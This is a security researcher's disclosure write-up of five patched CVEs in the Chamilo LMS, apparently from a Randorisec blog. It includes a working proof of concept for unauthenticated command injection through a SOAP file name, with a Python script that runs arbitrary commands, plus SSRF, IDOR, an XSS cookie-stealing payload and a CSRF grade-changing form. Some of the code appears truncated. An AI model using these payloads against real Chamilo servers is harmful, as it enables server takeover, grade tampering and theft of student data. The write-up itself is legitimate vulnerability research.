Aituglo 6 min


Chamilo is an e-learning platform, also called Learning Management Systems (LMS). It has been used by more than 30M people worldwide since its inception in 2010. As an LMS, it offers an integrated platform for the administration, documentation, tracking, reporting, and delivery of educational courses, training programs, or learning and development programs. In essence, it provides a digital framework that accommodates various aspects of the learning process, and as such, it plays a vital role in numerous educational and corporate environments.

Chamilo application deals with a wealth of sensitive information related to teaching and learning, including personal details of students and teachers, academic records, and proprietary course content. If mishandled or breached, such data could lead to significant consequences, ranging from privacy violations to intellectual property theft.

During my internship at Randorisec, I (Aituglo) performed a security review of Chamilo and identified several vulnerabilities. The latest version of Chamilo (1.11.18) is vulnerable to the following vulnerabilities:

  1. CVE-2023-34960 - Unauthenticated command injection in PowerPoint upload
  2. CVE-2023-34959 - Multiple blind SSRF in links and social tools
  3. CVE-2023-34958 - IDOR in work/student publication
  4. CVE-2023-34961 - XSS in student work comments
  5. CVE-2023-34962 - Possibility to change its grade using a CSRF

With these vulnerabilities, an attacker can change the grade of other students, access private files, download other students' work, and finally execute system commands on the server.


The following version of Chamilo was reviewed:


These vulnerabilities were reported to the Chamilo team and fixed in the last version of Chamilo (1.11.20).

1. CVE-2023-34960 - Unauthenticated command injection in PowerPoint upload


Chamilo has a functionality called Chamilo Rapid to easily convert PowerPoint (PPT) slides to courses on Chamilo.

By using this functionality, we identified inside the source code one vulnerable file: main/webservices/additional_webservices.php

* Function to convert from ppt to png
* This function is used from Chamilo Rapid Lesson.
* @param array $pptData
* @return string
function wsConvertPpt($pptData){

The wsConvertPpt is a function that can be used to convert a PowerPoint file using a shell command. To use this feature, a SOAP request needs to be performed containing an URL pointing to the PowerPoint file.

Proof of Concept

First, web services need to be activated on your PHP version.

Then, you can make requests to this path /main/webservices/additional_webservices.php

By making a POST request to this URL with SOAP parameters, you can set the parameters requested by this function.

In the source code, we can identify the command performing the conversion:

$cmd = pptConverterGetCommandBaseParams();
$cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'" "'.$tempPathNewFiles.$fileName.'.html"';

$shell = exec($cmd, $files, $return);

The filename is not filtered by the function.

By looking at the journey of the PPT file being uploaded using the Chamilo Rapid functionality, we found the decoded version of the SOAP code sent to the wsConvertPpt function.

So by sending as a POST request to /main/webservices/additional_webservices.php

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:ns1="http://localhost:800/" xmlns:xsi="" xmlns:xsd="" xmlns:ns2="" xmlns:SOAP-ENC="" SOAP-ENV:encodingStyle="">
			<param0 xsi:type="ns2:Map">
					<key xsi:type="xsd:string">file_data</key>
					<value xsi:type="xsd:string"></value>
					<key xsi:type="xsd:string">file_name</key>
					<value xsi:type="xsd:string">`PLACEHOLDER`.pptx</value>
					<key xsi:type="xsd:string">service_ppt2lp_size</key>
					<value xsi:type="xsd:string">720x540</value>

And by changing the PLACEHOLDER by any system command, it will be executed on the server. We made a quick and dirty Python code to verify if a Chamilo instance is vulnerable to this command injection:

import argparse
import requests

def execute_command(url, command):
	body = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:ns1="{}" xmlns:xsi="" xmlns:xsd="" xmlns:ns2="" xmlns:SOAP-ENC="" SOAP-ENV:encodingStyle=""><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{}`.pptx</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>'''.format(url, command)

		response ='{}/main/webservices/additional_webservices.php'.format(url), data=body, headers={
			'Content-Type': 'text/xml; charset=utf-8',
		return False
	if response.status_code == 200 and "wsConvertPptResponse" in response.text:
		return True
		return False

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Url of your Chamilo", required=True)
parser.add_argument("-c", "--command", help="Command to execute", required=False)

args = parser.parse_args()

if args.command is None:
	if execute_command(args.url, 'id'):
		print(f"URL vulnerable: {args.url}")
		print(f"URL not vulnerable: {args.url}")
elif args.command is not None:
	if execute_command(args.url, args.command):
		print(f"Command executed: {args.command}")
		print(f"An error has occured, url is not vulnerable: {args.url}")
	print("Please specify a command to execute with -c or --command")



It is possible to access the intern network by using Server Side Request Forgery (SSRF). There are two SSRF, one unauthenticated and one authenticated.

Both are blind, which means you do not have the full result of the request.

Proof of Concept

There is a functionality to get social media information using its account URL, and the URL provided is not verified.

An example is using a POST request to /main/inc/ajax/social.ajax.php?a=read_url_with_open_graph with the following parameter:


In the backend, a simple curl function is used without any validation as shown below:

public static function checkUrl($url){
	// Check if curl is available.

	if (!in_array('curl', get_loaded_extensions())) {
		return false;

	// set URL and other appropriate options
	$defaults = [
		CURLOPT_URL => $url,
		CURLOPT_FOLLOWLOCATION => true, // follow redirects accept
	$proxySettings = api_get_configuration_value('proxy_settings');
	if (!empty($proxySettings) && isset($proxySettings['curl_setopt_array'])){
		$defaults[CURLOPT_PROXY] = $proxySettings['curl_setopt_array']['CURLOPT_PROXY'];
		$defaults[CURLOPT_PROXYPORT] = $proxySettings['curl_setopt_array']['CURLOPT_PROXYPORT'];
	// Create a new cURL resource
	$ch = curl_init();
	curl_setopt_array($ch, $defaults);
	// grab URL and pass it to the browser
	$result = curl_exec($ch);
	// close cURL resource, and free up system resources
	return $result;

It means that it is possible to use any protocol and access any internal netowkr services. An attacker can exploit this vulnerability to perform network scans for instance.


3. CVE-2023-34958 - IDOR in work/student publication


An attacker can download any work from other students. The access to a specific course is based on an identifier.

Proof of Concept

There is no verification except the fact that you must follow the course.

Then you can simply visit the following link:

And you must change the course name and the id of the work you want to download.

As this id is incremental, you can easily download every work.


4. CVE-2023-34961 - XSS in student work comments


An authenticated user can provide comments on a specific course. The comments are not properly sanitized and you can insert any valid HTML or JavaScript code.

Proof of Concept

After uploading your work, an attacker can write a comment using the following payload:

<img src=x onerror=alert(document.cookie) />

It is also possible to create a full JavaScript payload to take over the teacher’s account when he will visit your work.


5. CVE-2023-34962 - Possibility to change its grade using a CSRF


As a teacher, the request made to the server to change the grade of someone is not protected against a Cross-Site Request Forgery (CSRF) attack

Proof of Concept

The POST request to /main/gradebook/gradebook_add_result.php?selectcat=1&selecteval=1&cidReq=COURSE&id_session=0&gidReq=0&gradebook=1&origin= is not preotected by an anti-CSRF token. An attacker can create a valid HTML form with the following fields:

    <form action="" method="POST">
      <input type="hidden" name="score[4]" value="100" />
      <input type="hidden" name="submit" value="" />
      <input type="hidden" name="_qf__add_result_form" value="" />
      <input type="hidden" name="maxvalue" value="100" />
      <input type="hidden" name="minvalue" value="0" />
      <input type="hidden" name="nr_users" value="1" />
      <input type="hidden" name="evaluation&#95;id" value="1" />
      <input type="submit" value="Submit request" />
      history.pushState('', '', '/');

Any teacher connected to the Chamilo instance and viewing this page will modify the grade of the targeted student.